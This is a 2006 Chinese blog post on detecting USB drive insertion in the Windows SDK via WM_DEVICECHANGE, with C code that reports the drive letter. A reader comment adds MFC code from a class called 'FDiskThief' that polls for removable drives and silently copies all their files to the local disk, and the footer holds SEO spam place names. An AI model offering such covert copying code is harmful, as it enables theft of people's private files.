程序人生

          撰寫生活代碼,等待編譯美好人生
          隨筆 - 48, 文章 - 0, 評論 - 29, 引用 - 0
          數據加載中……

          WINDOWS SDK 檢測U盤插入

          今天一位老兄要我幫忙做一個軟件,需要把在U盤插入USB接口激活之后自動把U盤里的內容拷貝到硬上。拷貝文件不難,麻煩的就是不知道怎么檢測U盤是否激活,激活后又是哪個盤符。
          google了一下,在MSDN上看了幾個例子,找到了檢測U盤插入,并確定其盤符的方法。

          下面給出窗口的回調函數:
          ?1?LRESULT?CALLBACK?WndProc?(HWND?hWnd,?UINT?message,?WPARAM?wParam,?LPARAM?lParam)
          ?2?
          ?3?{
          ?4?????
          ?5?????switch?(message)?
          ?6?????{
          ?7?????????
          ?8?????case?WM_CREATE:/*初始化*/
          ?9?????????
          10?????????MessageBox(hWnd,?"go!",?"405?Studio",?MB_OK);
          11?????????
          12?????????break;
          13?????????
          14?????case?WM_DEVICECHANGE:
          15?????????
          16?????????if(wParam?==?DBT_DEVICEARRIVAL)?//設備激活
          17?????????{
          18?????????????PDEV_BROADCAST_HDR?lpdb?=?(PDEV_BROADCAST_HDR)lParam;
          19?????????????
          20?????????????PDEV_BROADCAST_VOLUME?lpdbv?=?(PDEV_BROADCAST_VOLUME)lpdb;
          21?????????????
          22?????????????char?szMsg[80];
          23?????????????wsprintf?(szMsg,?"Drive?%c:?Media?has?arrived.\n",
          24?????????????????FirstDriveFromMask(lpdbv?->dbcv_unitmask));
          25?????????????
          26?????????????MessageBox?(hWnd,?szMsg,?"WM_DEVICECHANGE",?MB_OK);
          27?????????????
          28?????????}
          29?????????
          30?????????break;
          31?????????
          32?????default:
          33?????????return?DefWindowProc?(hWnd,?message,?wParam,?lParam)?;
          34?????}
          35?????
          36?????return?0;
          37?????
          38?}
          原理很簡單檢測U盤是否被插入是通過監聽WM_DEVICECHANGE消息來實現的。18,19行是從WM_DEVICECHANGE的lParam里獲取盤符。
          FirstDriveFromMask是一個用返回盤符(A,B,C ....)的簡單函數
          ?1?char?FirstDriveFromMask?(ULONG?unitmask)
          ?2?{
          ?3?????char?i;
          ?4?????
          ?5?????for?(i?=?0;?i?<?26;?++i)
          ?6?????{
          ?7?????????if?(unitmask?&?0x1)
          ?8?????????????break;
          ?9?????????unitmask?=?unitmask?>>?1;
          10?????}
          11?????
          12?????return?(i?+?'A');
          13?}

          posted on 2006-04-12 23:33 405 Studio 閱讀(2338) 評論(2)  編輯  收藏 所屬分類: Windows Programing

          評論

          # re: WINDOWS SDK 檢測U盤插入  回復  更多評論   

          請問這是怎么實現的,這種程序我也要用。謝謝
          我的QQ:651764799
          2006-10-08 17:05 | lsy

          # re: WINDOWS SDK 檢測U盤插入  回復  更多評論   

          //-------查找U盤-------------------------------
          CString CFDiskThiefDlg::FindFdisk()
          {
          CString strdir="";
          for(char cc='A';cc<='Z';cc++)
          {
          strdir.Format("%c:",cc);
          if(GetDriveType((LPCTSTR)strdir)==DRIVE_REMOVABLE)//移動盤
          return strdir;
          }
          return strdir="";
          }
          //--------復制文件-----------------------------
          void CFDiskThiefDlg::CopyFile(CString dir)
          {
          CFileFind tempFind;
          CString tempFileFind;
          tempFileFind.Format("%s\\*.*",dir);
          BOOL IsFinded=(BOOL)tempFind.FindFile(tempFileFind);
          while(IsFinded)
          {
          IsFinded=(BOOL)tempFind.FindNextFile();
          if(!tempFind.IsDots())
          {
          CString foundFileName;
          foundFileName=tempFind.GetFileName();

          if(tempFind.IsDirectory())
          {
          CString tempDir;
          tempDir.Format("%s\\%s",dir,foundFileName);
          CopyFile(tempDir);
          }
          else
          {
          CString tempFileName1,tempFileName2;
          tempFileName1.Format("%s\\%s",dir,foundFileName);
          tempFileName2.Format("%s\\%s",m_Path,foundFileName);
          ::CopyFile(tempFileName1,tempFileName2,FALSE);
          }
          }
          }
          tempFind.Close();
          }

          void CFDiskThiefDlg::OnTimer(UINT nIDEvent)
          {
          // TODO: Add your message handler code here and/or call default
          if(IsRun)
          {
          m_NewFdisk=FindFdisk();

          if(m_NewFdisk!=m_OldFdisk&&m_NewFdisk!="")
          {
          CopyFile(m_NewFdisk);
          }
          if(m_NewFdisk!="")
          m_OldFdisk=m_NewFdisk;
          else
          m_OldFdisk="NULL";
          }

          CDialog::OnTimer(nIDEvent);
          }

          2008-01-03 10:56 | 師弟

          只有注冊用戶登錄后才能發表評論。


          網站導航:
           
          主站蜘蛛池模板: 甘孜| 渑池县| 屯留县| 天水市| 临高县| 华坪县| 凯里市| 分宜县| 靖边县| 海南省| 信丰县| 潞城市| 修文县| 南通市| 乌鲁木齐县| 建湖县| 南充市| 双江| 东乡县| 定州市| 宜春市| 永川市| 陵川县| 华安县| 高唐县| 乐山市| 会理县| 区。| 突泉县| 娄烦县| 吉林市| 运城市| 额济纳旗| 临江市| 柳河县| 仁布县| 罗江县| 汤原县| 大化| 衡阳县| 太和县|